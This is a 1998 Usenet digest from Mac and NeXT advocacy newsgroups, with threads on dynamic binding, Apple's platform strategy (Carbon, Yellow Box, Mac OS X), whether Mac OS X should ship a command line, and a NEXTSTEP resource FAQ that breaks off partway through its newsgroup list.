References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <6o82ke$cci$1@news.cs.tu-berlin.de>
Mail-Copies-To: never
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> >> This violates a fundamental tenet of object-orientation, that the
> >> only visible aspect of an object should be its behaviour.
>
> >I don't see why it violates some tenet of OO to make sure at compile
> >time that an object is actually _able_ to respond to a message that it
> >might be sent. And exactly that is what's happening in C++, Eiffel,
> >Java.
>
> Er, not quite. Most of these languages make sure that the object
> in question belongs to a specific class or derived class. This
> is a stronger requirement than being able to respond to a message.
>
> The distinction may seem subtle, but I am not alone in thinking
> that it is actually quite important.
Okay, then cross out the comparison to C++ et al. Now, why is it bad to
make sure at compile time that an object is able to respond to a
message? (In case we find this to be a desirable property, we can look
for an implementation that's superior to C++.)
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 11 Jul 1998 12:16:01 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1107981216010001@sdn-ar-001casbarp259.dialsprint.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com>
In article <6o6in8$83n$1@supernews.com>, jcr.remove@this.phrase.idiom.com wrote:
> Steve Sullivan may or may not have said:
>
> [snip]
>
> -> Instead, Bereskin said "It's clear that if you are starting a new project
> -> and want to reach as many people as possible, the best API is Carbon."
>
> Sounds to me like that boy's got to go. Anyone promoting Carbon as anything
> more than a legacy-app migration tool is Part of the Problem (tm).
How do you know he is not just doing Apple's bidding? I am not a
programmer, but I have my periods where I am a wannabe programmer. I have
tinkered with macos programming, and just as I was getting into it I
stopped because rhapsody appeared to make the macos api's obsolete. Now I
am weary that Apple's wanting to gut all the enterprise and yellowbox
stuff, and just stick with macos x as a consumer os.
--
So many pedestrians, so little time.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 11 Jul 1998 12:01:47 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1107981201520001@sdn-ar-001casbarp259.dialsprint.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net> <1dbzmut.11chabv1ojq2xyN@ip172.albnxr2.ras.tele.dk> <macghod-1007982237130001@sdn-ar-001casbarp289.dialsprint.net> <gmgraves-1107980828480001@sf-usr1-11-139.dialup.slip.net>
In article <gmgraves-1107980828480001@sf-usr1-11-139.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> Except that "I wish I were" has to be running on the boot OS, and the Rhapsody
> DR2 release will ONLY install from the OS on the Install CD. Its pretty
> difficult
> to add a control panel to a read-only system folder.
No it isnt.
1) make toast image of dr2 cd to hard disk
2) make image writable
3) add in control panel
4) reburn to a blank cd
--
So many pedestrians, so little time.
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 11 Jul 1998 18:06:17 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35A7EFE9.DB0E7AA2@nstar.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 11 Jul 1998 23:11:32 GMT
Michelle L. Buck wrote:
>
> Yellow Box is dead even if Apple does not abandon it. YellowBox is a custom
> application development environment chiefly interesting to enterprise
> customers and a hand full of horizontal app developers. Apple has
> permanently lost all credibility in the enterprise and there will never be
> enough YellowBox installations to support high quality horizontal
> applications. Apple and the YellowBox are dead now at least for my company
> and the Fortune 100 companies we serve.
I don't think it takes a genius to figure out what Apple's doing at this
point. Microsoft has finally stumbled with Windows 98, and Jobs has
realized that Apple finally has a chance to look good as the
alternative. He's pushing traditional Macintosh technology because he
doesn't want to blow this; pushing Yellow Box would just confuse the
issue for those looking for an alternative. Hence, you have a MacOS
upgrade path, a futuristic OS named MacOS X, a consumer-oriented machine
(iMac), the Carbon API, and a lot of consumer-oriented advertising and
overtures to the education market (K-12).
Unfortunately, Jobs seems to have missed the fact that Microsoft has
also stumbled with NT 5.0. Two enormous opporunities, and Apple's
management has decided to slug it out on the floor in an arena that's
well-known to Microsoft, where Microsoft has superior 3rd-party support,
and where Apple has repeatedly lost in the past.
Oh, well, maybe Apple can win this time. That would be exciting. But
like Michelle, I don't think my career will ever take me into the arena
Apple has chosen. Even if Apple wins down in the consumer market,
Microsoft will still own the enterprise, eventually, which means NT is
in my future. I guess the $400 million really were for Steve Jobs, not
for NeXT. He seems to be having a great time, anyway.
MJP
From: jonathan@quern.demon.co.uk (Jonathan Sanderson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 11 Jul 1998 21:04:42 +0100
Message-ID: <1dbxcii.1qiw8e0131w2c4N@quern.demon.co.uk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Pine.SOL.3.96.980708164746.10070A-100000@ux10.cso.uiuc.edu> <jbodner-0807982146560001@ppp-207-214-148-66.snrf01.pacbell.net> <rhaneberg-0907980137590001@user-38lde78.dialup.mindspring.com>
Rob Haneberg <rhaneberg@BARNEYmindspring.com> wrote:
> Anyone whose computer purchases are driven by what's "supposed to
> happen" in 16-18 months should be beaten mercilessly with wet towels
> bearing the word "Copland".
<chuckle>
...and more towels bearing the words 'Pink,' 'OpenDoc,' and 'Taligent.'
(OK, so OpenDoc wasn't an OS per se, but it was sufficiently radical
IMHO)
:)
--
Jonathan Sanderson http://www.quern.demon.co.uk/jonathan
Science TV Producer, Leeds/Glasgow, UK
'If I had more time, I would have written you a shorter letter' (Pascal)
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: PLONK!
Date: Sat, 11 Jul 1998 16:39:23 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1107981639230001@sdn-ar-001casbarp302.dialsprint.net>
In article <6o8b46$4ir$1@news7.ispnews.com> , "Edwin E. Thorne"
<ethorne@chicagonet.net> wrote:
>>Z
>
>Zico dictates his posts, and then "signs" them by pressing the "z" key. He
>wanted to stand out from the other people he associates with who normally
>sign a "X" for their names.
>
PLONK!
--
So many pedestrians, so little time.
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 11 Jul 1998 23:58:03 GMT
Organization: Occam's Razor
Distribution: world
Message-ID: <6o8u6b$odd$1@news.cmc.net>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com>
<6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au>
<6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au>
<6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: rutledge@pigeon.qut.edu.au
In <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> Galen
Rutledge wrote:
>On 11 Jul 1998, Leon von Stauber wrote:
>>
>>No. As I've said, the Windows admins have to do a *lot* more work
>>to get the same things accomplished as the UNIX admins, because they
>>don't have this basic administrative capability built-in to their
>>boxes. They *could* add it, but it would cost a lot, and not be easy
>>to install. Or they could buy specialized, limited, and expensive
>>s/w to do remote installs.
>>
>>It'll be much better that a free CLI should be available. But you'd
>>still have to walk around to every machine to install it. Let me
>>repeat: This does not scale well.
>
>I see OS components installed over a LAN every day, seems to scale just
>fine.
*If* you have specialized remote installation s/w, *or* you have a
remotely accessible CLI w/ such capabilities. Which is what I said.
>Explain why there will be multiple CLI's if Apple does not provide one,
>but if Apple does then nobody else will, since that is what you imply in
>your complaint that a standard CLI will not be available unless Apple
>provides one. I can not see the logic.
If Apple provides a standard, modern UNIX CLI w/ Mac OS X, there's not
much reason for anyone else to do the same.
>I am sorry, but I do not understand how you feel that the CLI is
>important to the MacOS, since MacOS has never been released with
>one (Rhapsody is not in full release yet). Equally I can not see how
>"many other things currently depend on" the CLI in the MacOS, since
>there has never been one.
Mac OS X is not built around the current Mac OS. It's built around
a Rhapsody core, which was built from OPENSTEP/NEXTSTEP, which has
always included a UNIX CLI. There are dependencies. (See other
articles in this thread for examples.)
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Sat, 11 Jul 1998 20:43:40 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6o8ips$u1k$1@nnrp1.dejanews.com>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au>
In article <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au>,
Galen Rutledge <rutledge@pigeon.qut.edu.au> wrote:
> I am sorry, but I do not understand how you feel that the CLI is
> important to the MacOS, since MacOS has never been released with
> one (Rhapsody is not in full release yet).
That argument pattern would allow one to conclude that protected memory and
preemptive multitasking are not important to the MacOS.
> Equally I can not see how
> "many other things currently depend on" the CLI in the MacOS, since
> there has never been one.
So above. The guaranteed existance of a shell (don't need a CLI) and the
standard utilities greatly simplifies some programming problems. You can use
all the standard shell utilities instead of rolling the functionality
yourself. For example, say I am writting a program that creates text reports
and that 90% of my users then send these highly compressible reports via
e-mail. So I add a button in my save dialog so the user to choose to compress
the report. With a shell, I'd just call gzip to compress the file. Without
it, I'd write a couple thousand lines of code to do compression.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple heading to obscurity?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <MPG.10109df7848fcd95989975@news.supernews.com>
Message-ID: <35a7d369.0@news.depaul.edu>
Date: 11 Jul 98 21:04:41 GMT
In comp.sys.next.advocacy Donald Brown <don.brown@cesoft.com> wrote:
> If you are starting a new project today and want to reach as many people
> as possible, the best API is Carbon, no doubt about it.
Only if you're currently a Mac ISV. If you're not, then the best
option is to ignore the Mac completely and target Windows exclusively.
There's little point starting to learn the Carbon API now.
This, of course, will result in ignoring YellowBox too.
--
"... and subpoenas for all." - Ken Starr
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: Sat, 11 Jul 1998 20:31:57 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6o93p4$gqo11@odie.mcleod.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <6o82ke$cci$1@news.cs.tu-berlin.de> <1dc0ram.aakj3s1mzlce8N@rhrz-isdn3-p45.rhrz.uni-bonn.de>
Michael Schuerig wrote in message
<1dc0ram.aakj3s1mzlce8N@rhrz-isdn3-p45.rhrz.uni-bonn.de>...
>
>Okay, then cross out the comparison to C++ et al. Now, why is it bad to
>make sure at compile time that an object is able to respond to a
>message? (In case we find this to be a desirable property, we can look
>for an implementation that's superior to C++.)
>
>Michael
>
The basic reason that it is not ALWAYS desirable is that not all relevant
objects are available or known at compile time. Consider plug-ins, remote
objects, objects from shared libraries that may change after the application
is compiled etc. One of the very best examples of LATE dynamic binding is
Java beans. How much more elegant/simple is a bean compared to an Active-X
component ?
Remember that LATE v. EARLY binding is not the same issue as STATIC/STRONG
typing v. WEAK TYPING. Using interfaces (Objective-C protocols) it is
possible and desirable to have strong typing AND late binding.
On a more philosophical note, consider two different systems:
1) An automobile engine - All parts of the engine are known prior to
assembly. Also, any optional components like a super-charger or
air-conditioning are also completely known prior to installation. There is
only one correct assembly and that is known in advance. The engine is so
completely specified IN ADVANCE that virtually every detail is known before
assembly. Such information is valuable! As long as the engine consumer is
satisfied with the engine and its anticipated add on components, the
complete assembly model works fine. Unfortunately, if the user wants a
radial engine rather than an inline 4 cylinder engine, all of the
information gathered about the 4 cylinder engine is useless. The radial
engine will not fit in the same compartment; the mountings are different.
To build such a car the engineers must redesign (at great expense) and
recompile the entire engine design including optional additions
(supercharging a radial makes no sense).
2) A mail box - The interface to the mailbox is quite simple and completely
specified. If your package will fit through the opening in the mail box, it
can be mailed. Once inside the mail box, the post office employee will
verify that the package submitted conforms to the proper "mailable package"
protocol (address is legible, adequate postage was applied, etc). If the
package does not conform to the accepted protocol, exceptional processing
can take place. Someone might look for a return address and try to return
the package or request additional postage.
It is usually desirable to know everything about an engine and how it goes
together in advance. It is not desirable or even possible to know
everything about a mailbox in advance because the set of packages that might
be mailed is open-ended. Any constraint on the type of package that can be
mailed other than conformance to the "mailable package" protocol and the
"fits through the opening" protocol is in fact NOT DESIRABLE.
Now think for a moment. How many of the problems computer programmers face
are similar to the engine and how many are similar to the mail box ? There
is a role for closed universe programs. They can be more verifiable, etc.
There is definitely a role for open universe programs. They can be simpler,
more flexible, and more powerful.
Date: Sat, 11 Jul 1998 22:21:34 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1107982221350001@elk38.dol.net>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net> <Evw5BK.8BG@iglou.com>
In article <Evw5BK.8BG@iglou.com>, "Zico" <ZicoKnows@hotmail.com> wrote:
> x-no-archive: yes
>
> Joe Ragosta wrote:
>
> >Actually, the NT fans will tell you that NT works just fine on a 486 66
> >MHz--until you start talking about running it under VPC or SoftWindows.
> >THEN, 486 performance is hopelessly slow.
> >
> >I've never figured out how 486 performance on a "real" PC is OK, while 486
> >performance on a "virtual" PC isn't.
>
>
> I've never figured out why you say that all NT fans say both of the things
> you mentioned above. You love to take things that two different advocates
> have stated, then combine them and pretend that all advocates are saying
> both things and are contradicting themselves. I really hope that you're doing
> it out of ignorance rather than intentionally trying to deceive, because this
> behavior of yours is pretty slimy, and it's been pointed out to you before.
I'm quite aware of the situation.
The point is that this is a Mac advocacy group. You have Wintel fanatics
coming in here spewing all sorts of nonsense--much of it contradictory.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 11 Jul 1998 22:22:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1107982222330001@elk38.dol.net>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net> <6o5b24$5op$4@news.spacelab.net> <macghod-1007981145070001@sdn-ar-001casbarp293.dialsprint.net>
In article <macghod-1007981145070001@sdn-ar-001casbarp293.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > [ ... ]
> > > Actually, the NT fans will tell you that NT works just fine on a 486 66
> > > MHz--until you start talking about running it under VPC or SoftWindows.
> > > THEN, 486 performance is hopelessly slow.
> > >
> > >I've never figured out how 486 performance on a "real" PC is OK, while 486
> > >performance on a "virtual" PC isn't.
>
> Well you are a bright guy, it should be easy to understand. Performance
> wise they are not saying its hopelessly slow, they are just saying why
> spend $2000 to get 486 speed when you can spend $75 to get it.
You mean like the $75 it costs to buy VPC or Real PC?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Sat, 11 Jul 1998 22:58:27 -0400
Organization: Pear Computer Ltd.
Message-ID: <35A82653.49738012@cloud9.net>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <1dbupy1.zcyvzv1hf1jkvN@carina22.wco.com> <atlauren-0907981050270001@jungleland.acs.uci.edu> <joe.ragosta-1007980807590001@wil117.dol.net>
Mime-Version: 1.0
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Joe Ragosta wrote:
>
> In article <atlauren-0907981050270001@jungleland.acs.uci.edu>,
> atlauren@uci.edu (Andrew Laurence) wrote:
> > In the Macintosh world, "not supported" means "doesn't work, won't run."
>
> Not true.
I find this interesting... I only owned some macs for a short time.
IIx, IIcx, and an SE, and am planning to get a MacOSX/MkLinux G3 when
they put some more PCI slots in them and add a 4th 256 MB DIMM capable
slot...
I got System 7.5.5 running very quickly on the SE 68000... which I found
absolutely amazing... at 4 MB of RAM most extensions wouldn't fit at
all, but I still ran Word 5.1a, and faster than System 6.0.8 before I
sold it for $50 last fall. (I wasn't putting Sys 7.5.5 on this machine
I was just testing a hard-drive which I took out of the IIx).
Macs are quirky, but they usually have better software
cross-compatibility than PC's.
From: Galen Rutledge <rutledge@pigeon.qut.edu.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Sun, 12 Jul 1998 13:06:45 +1000
Organization: Queensland University of Technology, Australia
Distribution: world
Message-ID: <Pine.OSF.3.92.980712123834.16065C-100000@pigeon.qut.edu.au>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> <6o8u6b$odd$1@news.cmc.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <6o8u6b$odd$1@news.cmc.net>
On 11 Jul 1998, Leon von Stauber wrote:
>In <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> Galen
>Rutledge wrote:
>>On 11 Jul 1998, Leon von Stauber wrote:
>>>
>>>No. As I've said, the Windows admins have to do a *lot* more work
>>>to get the same things accomplished as the UNIX admins, because they
>>>don't have this basic administrative capability built-in to their
>>>boxes. They *could* add it, but it would cost a lot, and not be easy
>>>to install. Or they could buy specialized, limited, and expensive
>>>s/w to do remote installs.
>>>
>>>It'll be much better that a free CLI should be available. But you'd
>>>still have to walk around to every machine to install it. Let me
>>>repeat: This does not scale well.
>>
>>I see OS components installed over a LAN every day, seems to scale just
>>fine.
>
>*If* you have specialized remote installation s/w, *or* you have a
>remotely accessible CLI w/ such capabilities. Which is what I said.
That was not clear to me from your post.
However, that is also a ridiculous argument. If your time is worth
anything at all, you would go off and buy Assimilator (shareware) and
your trouubles would be over.
Arguments that run along the lines of; "If you don't use... (some vital
piece of software) ...then you would have... (all sorts of trouble)"
are pure flame bait. Leave them out.
>>Explain why there will be multiple CLI's if Apple does not provide one,
>>but if Apple does then nobody else will, since that is what you imply in
>>your complaint that a standard CLI will not be available unless Apple
>>provides one. I can not see the logic.
>
>If Apple provides a standard, modern UNIX CLI w/ Mac OS X, there's not
>much reason for anyone else to do the same.
What a wonderful piece of logic.
Then I suppose you would have trouble explaining the existance of;
Speed doubler (Faster copies,trash empties, network transfers)
RAM doubler (RAM & VM managememt tool)
QuicKeys (extension of Apple Script)
BeHeirarchic (Alternative to Apple Menu Items)
Conflict Catcher (Alternative Control Panel & Extension chooser)
Gregs Browser (Alternative to finder functions)
Since all of the functions these supply are built into the MacOS, then
by your logic they should not exist, let alone be preferable to the
"Standard" way to do them.
Or perhaps you think an Apple UNIX CLI would be PERFECT in it's first
incarnation, and nobody would dream to improve on it?
>>I am sorry, but I do not understand how you feel that the CLI is
>>important to the MacOS, since MacOS has never been released with
>>one (Rhapsody is not in full release yet). Equally I can not see how
>>"many other things currently depend on" the CLI in the MacOS, since
>>there has never been one.
>
>Mac OS X is not built around the current Mac OS. It's built around
>a Rhapsody core, which was built from OPENSTEP/NEXTSTEP, which has
>always included a UNIX CLI. There are dependencies. (See other
>articles in this thread for examples.)
Granted.
However the MacOS has none of these dependencies, and that is what is
being built. I expect the standard UI should not change drastically.
People are quite used to the look & feel of the Mac UI. I doubt that
will change simply the non-GUI part of the OS is based on
OPENSTEP/NEXTSTEP.
From: Galen Rutledge <rutledge@pigeon.qut.edu.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Sun, 12 Jul 1998 13:14:20 +1000
Organization: Queensland University of Technology, Australia
Distribution: world
Message-ID: <Pine.OSF.3.92.980712130733.16065D-100000@pigeon.qut.edu.au>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> <6o8ips$u1k$1@nnrp1.dejanews.com>
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In-Reply-To: <6o8ips$u1k$1@nnrp1.dejanews.com>
On Sat, 11 Jul 1998 quinlan@intergate.bc.ca wrote:
>In article <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au>,
> Galen Rutledge <rutledge@pigeon.qut.edu.au> wrote:
>
>> I am sorry, but I do not understand how you feel that the CLI is
>> important to the MacOS, since MacOS has never been released with
>> one (Rhapsody is not in full release yet).
>
>That argument pattern would allow one to conclude that protected memory and
>preemptive multitasking are not important to the MacOS.
I have never felt a need for such things in the current MacOS. So to
answer your question, no I do not think they are important to the MacOS.
Doubtless there are some who do.
>> Equally I can not see how
>> "many other things currently depend on" the CLI in the MacOS, since
>> there has never been one.
>
>So above. The guaranteed existance of a shell (don't need a CLI) and the
>standard utilities greatly simplifies some programming problems. You can use
>all the standard shell utilities instead of rolling the functionality
>yourself. For example, say I am writting a program that creates text reports
>and that 90% of my users then send these highly compressible reports via
>e-mail. So I add a button in my save dialog so the user to choose to compress
>the report. With a shell, I'd just call gzip to compress the file. Without
>it, I'd write a couple thousand lines of code to do compression.
Nope, just use gzip for the Mac. I do.
You would really write a compression utility into your Application
without a CLI available?
Strange, most other developers just use external compression specific
applications.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple, replace g3's floppy with superdisk!!
Date: 12 Jul 1998 03:58:54 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6o9c9u$khr$1@lwnws01.ne.highway1.com>
References: <macghod-1107981158280001@sdn-ar-001casbarp259.dialsprint.net> <1998071122113900.SAA12099@ladder01.news.aol.com>
willadams@aol.com (WillAdams) wrote:
> Sony's HiFD is the unit to keep an eye on, I believe.
Any pointers to it, and about it?
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <668899611234@digifix.com>
Date: 12 Jul 1998 03:48:54 GMT
Organization: Digital Fix Development
Message-ID: <26220900216033@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1993. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
